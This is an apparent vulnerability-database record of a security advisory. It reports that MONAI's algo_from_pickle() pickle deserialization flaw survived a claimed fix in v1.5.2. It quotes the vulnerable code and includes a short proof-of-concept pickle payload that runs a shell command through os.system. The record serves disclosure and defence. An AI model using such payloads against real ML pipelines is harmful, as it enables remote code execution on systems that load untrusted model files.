{"id":"GHSA-qxq5-qhx6-94qw","aliases":[],"url":"https://o3.security/vulnerability/GHSA-qxq5-qhx6-94qw","summary":"Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming      patch","details":"## Summary\n\n  GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n  `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n  has not been modified since 2024-07-12 — 18 months before v1.5.2 was released\n  (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n  never implemented.\n\n  ## Vulnerable Code\n\n  File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n  ```python\n  def algo_from_pickle(pkl_filename: str, ...):\n      with open(pkl_filename, \"rb\") as f_pi:\n          data_bytes = f_pi.read()\n      data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here\n\n      # isinstance/key checks happen AFTER deserialization — already too late\n\n      algo_bytes = data.pop(\"algo_bytes\")\n      ...\n      if len(template_paths_candidates) == 0:\n          algo = pickle.loads(algo_bytes)      # SINK 2 — line 350\n      else:\n          for p in template_paths_candidates:\n              algo = pickle.loads(algo_bytes)  # SINK 3 — line 356\n\n  No Unpickler subclass, no find_class restriction, no allowlist.\n\n  Why the Fix is Incomplete\n\n  - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n  - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes\n  - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n  - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n  PoC\n\n  import pickle, os\n\n  class Exploit:\n      def __reduce__(self):\n          return (os.system, ('id > /tmp/rce_proof.txt',))\n\n  # Craft malicious pkl\n  data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n  with open(\"/tmp/evil.pkl\", \"wb\") as f:\n      f.write(pickle.dumps(data))\n\n  # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim\n  with open(\"/tmp/evil.pkl\", \"rb\") as f:\n      data = pickle.loads(f.read())        # SINK 1 fires — RCE here\n  algo = pickle.loads(data[\"algo_bytes\"])  # SINK 2 fires\n\n  print(open(\"/tmp/rce_proof.txt\").read())\n  # uid=1000(user) gid=1000(user) groups=...\n\n  Verified on monai v1.5.2 (utils.py verbatim source):\n  [+] RCE CONFIRMED via algo_from_pickle():\n      desktop-5657tb1\\woong\n\n  Impact\n\n  Any application or ML pipeline calling algo_from_pickle() with an\n  attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n  frequently exchange model checkpoints, making this a realistic attack vector.","published":"2026-08-18T20:22:30Z","modified":"2026-08-18T20:30:07.372042967Z","cvss":{"score":7.8,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"monai","fixedVersion":"1.6.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw"},{"type":"PACKAGE","url":"https://github.com/Project-MONAI/MONAI"},{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-89gg-p5r5-q6r4"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-18T20:30:07.372042967Z"}}